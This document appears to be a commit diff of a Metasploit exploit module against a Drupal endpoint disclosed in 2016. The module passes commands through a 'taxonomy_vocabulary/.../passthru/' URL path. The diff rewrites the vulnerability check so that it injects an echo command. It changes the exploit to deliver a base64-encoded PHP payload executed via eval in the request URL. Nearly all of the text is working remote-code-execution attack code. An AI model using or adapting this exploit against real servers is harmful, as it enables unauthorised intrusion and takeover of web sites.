@@ -35,16 +35,10 @@ def initialize(info={})
35
35
'Privileged' => false ,
36
36
'Payload' =>
37
37
{
38
- 'DisableNops' => true ,
39
- 'Space' => 1024 ,
40
- 'Compat' =>
41
- {
42
- 'PayloadType' => 'cmd' ,
43
- 'RequiredCmd' => 'generic python' ,
44
- }
38
+ 'DisableNops' => true
45
39
} ,
46
- 'Platform' => 'unix' ,
47
- 'Arch' => ARCH_CMD ,
40
+ 'Platform' => [ 'php' ] ,
41
+ 'Arch' => ARCH_PHP ,
48
42
'Targets' => [ [ 'Automatic' , { } ] ] ,
49
43
'DisclosureDate' => 'Jul 13 2016' ,
50
44
'DefaultTarget' => 0
@@ -58,20 +52,26 @@ def initialize(info={})
58
52
end
59
53
60
54
def check
61
- url = normalize_uri ( target_uri . path , "node.xml" )
55
+ r = rand_text_alpha ( 8 + rand ( 4 ) )
56
+ url = normalize_uri ( target_uri . path , "?q=taxonomy_vocabulary/" , r , "/passthru/echo%20#{ r } " )
62
57
res = send_request_cgi (
63
58
'method' => 'GET' ,
64
59
'uri' => url
65
60
)
66
- if res && res . code == 403
61
+ if res && res . body =~ / #{ r } /
67
62
return Exploit ::CheckCode ::Appears
68
63
end
69
64
return Exploit ::CheckCode ::Safe
70
65
end
71
66
72
67
def exploit
73
- r = rand_text_alpha ( 4 + rand ( 4 ) )
74
- url = normalize_uri ( target_uri . path , "taxonomy_vocabulary/" , r , "/passthru/" , Rex ::Text . uri_encode ( payload . encoded ) )
68
+ random = rand_text_alpha ( 1 + rand ( 2 ) )
69
+ url = normalize_uri ( target_uri . path ,
70
+ "?q=taxonomy_vocabulary/" ,
71
+ random ,
72
+ "/passthru/" ,
73
+ Rex ::Text . uri_encode ( "php -r 'eval(base64_decode(\" #{ Rex ::Text . encode_base64 ( payload . encoded ) } \" ));'" )
74
+ )
75
75
send_request_cgi (
76
76
'method' => 'GET' ,
77
77
'uri' => url
0 commit comments